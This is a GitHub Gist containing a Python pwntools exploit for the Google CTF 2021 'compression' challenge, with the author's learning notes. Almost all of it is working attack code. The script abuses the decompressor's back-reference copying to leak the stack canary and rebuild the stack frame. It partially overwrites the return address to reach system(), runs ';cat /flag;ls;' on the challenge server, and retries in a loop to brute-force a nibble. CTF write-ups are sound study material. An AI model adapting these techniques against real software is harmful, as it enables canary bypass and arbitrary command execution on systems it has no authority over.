Last active
July 20, 2021 21:18
-
-
Save volticks/4b5bb7bf79217ad58f6cda9fb32fbf44 to your computer and use it in GitHub Desktop.
I failed the googleCTF 2021 challenge for 'compression' so I though I would try again, this time making plenty of notes. I hope this is useful to someone else who alos failed :).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
from pwn import * | |
# Note 2, this will now work with any commands lower than 16 bytes :). Any more than that will be copied over the stack canary. | |
# Get the string representation of a bytes/multiple bytes. Thanks google | |
def varint(n): | |
if n < 0: | |
n += 2**64 | |
if n == 0: | |
return "00" | |
s = "" | |
while n: | |
if n >= 128: | |
s += "{:02x}".format( 128 | ( n & 127 ) ) | |
else: | |
s += "{:02x}".format( n & 127 ) | |
n >>= 7 # get next byte | |
return s | |
# Use the compression algorithm to repeat chars. 0xff notes end of section, then we have the value 'delta' and the number | |
# of times it is repeated 'length'. | |
def repeat(delta, length): | |
return "ff" + varint(delta) + varint(length) | |
def sendcompressed(choice, compressed): | |
if choice: | |
p = process("./compress") | |
if choice == 2: | |
gdb.attach(p, ''' | |
break *decompress+309 | |
break *decompress+262 | |
break *main+439 | |
continue | |
''') | |
else: | |
p = remote("compression.2021.ctfcompetition.com", 1337) | |
p.sendline("2 " + compressed) | |
buf = p.recvall() | |
p.close() | |
return buf | |
magic = "TINY".encode('utf-8').hex() | |
EOF = repeat(0, 0) | |
JUNK = "42"*8 | |
libc_main_stack_off = 0x1008 | |
canary_off = 0x23e0 | |
buffer_off = 0x2320 | |
ret_addr_off = 0x2328 | |
system_rbp_rdi_bytes = 0x833e # have to guess the last nibble (if only we could write nibbles.) | |
command = b';cat /flag;ls;' | |
command += b'\x00' | |
while len(command) % 8 != 0: | |
command += b'\x00' | |
command = command.hex() | |
# Remember, command is 2 digits per byte, but in memory is only one. | |
cmdlen = int(len(command) / 2) | |
# Since our sploit is just copied over the old stack, if the command is too long it will overwrite the stack canary. | |
# Specifically 16 bytes is your limit. | |
if (cmdlen > 16): | |
print("Do you wanna smash the canary with that? \nHello no, less than 16 bytes please.") | |
exit(1) | |
def main(): | |
## Stage 1, read the canary. | |
# Canary is here, along with other stack data for the return to __libc_start_main: | |
# If we can find a canary that is before where our input buffer is stored (r10). We will | |
# be able to copy it back into our input buffer with no trouble (since thats how the array assignment works). | |
# rdx = (char *)(rdi + r12 - r9); | |
# do | |
# { | |
# cl = *rdx++; | |
# rdx[r9 - 1] = cl; | |
# } | |
# while ( rdx != (char *)(rbx + rdi + r12 - r9) ); | |
# The compressed data has to start with a magic value | |
read_canary = magic | |
# This will read from our input minus 0x23e0, 8 bytes which will be the canary, then write it back into our input buffer. | |
# -8 bytes for the length of the string. | |
# canary_off = r9 | |
# user buffer = rdx | |
# original user buffer = rdi | |
# Also we control r9 so we control where rdx comes from. In our case from before our buffer. Adding len(command) compensates | |
# for the command length without having to find the offsets again. | |
read_canary += command # command is just some text we use to cat the flag later, once we hijack cf | |
read_canary += repeat( (canary_off + 8) + cmdlen - 0x10, 8 ) | |
read_canary += JUNK | |
print("[!] Canary copy built: " + read_canary) | |
print(f"[!] len == {hex(len(read_canary))}") | |
## Stage 2: copy our command ptr. | |
# Now we need to figure out how far from rdi our buffer is from r10, and the current length of the string in r12. This will | |
# unsure that we do not write OVER the data we just wrote (the read_canary stuff) and instead we index the array past it with | |
# r9 (extra 8 for this string). | |
read_input_ptr = repeat((buffer_off + len(read_canary) - cmdlen - 0x10), 8) # Will be rbp, gets popped before we return to __libc_start_main | |
read_input_ptr += JUNK # Will be another register that doesnt matter | |
read_input_ptr += JUNK # ^^^ | |
read_input_ptr += JUNK # ^^^ | |
## Stage 3: Copy return address over and patch the lower 2 bytes such that we point just before system() | |
# We have almost setup the complete stack frame for our return from main. The last thing we need to do is | |
# give something to 'ret'. | |
# Format our bytes in a way that is friendly for the decompressor (in ascii form) | |
return_stuff = "{:02x}{:02x}".format(system_rbp_rdi_bytes & 0xff, system_rbp_rdi_bytes >> 8) | |
# Now we need to combine the above with the actual return address to main, this means that no infoleak is required. | |
return_stuff += repeat((ret_addr_off + len(read_input_ptr) + cmdlen - 0x18), 6) | |
## Stage 4: Copy all of the stuff we just constructed over the top of the stack data used for the return to __libc_start_main | |
# We have made a stack that will slot into place over the top of the stack at the time of returning to __libc_start_main | |
# now we need to deploy it. | |
print(cmdlen) | |
# The length here needs to be at least enough to overwrite the __libc_start_main addr with ours, and that should drag | |
# everything else along with it. As usual we correct using the length of the previous string, although since this was only | |
# 12 bytes long (aka, not aligned to 8 bytes) we need to add 4 (lucky guess on my part). | |
copy_stack = repeat(libc_main_stack_off - (len(return_stuff) + 4), 0x1008) ## offset by 4 for some reason | |
# Loop this or something lol. | |
asd = b"" | |
while b"CTF" not in asd: | |
print(asd:=sendcompressed(0, | |
read_canary + | |
read_input_ptr + | |
return_stuff + | |
copy_stack + | |
EOF | |
)) | |
#print(sendcompressed(2, | |
# read_canary + | |
# read_input_ptr + | |
# return_stuff + | |
# copy_stack + | |
# EOF | |
#)) | |
if __name__ == "__main__": | |
main() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment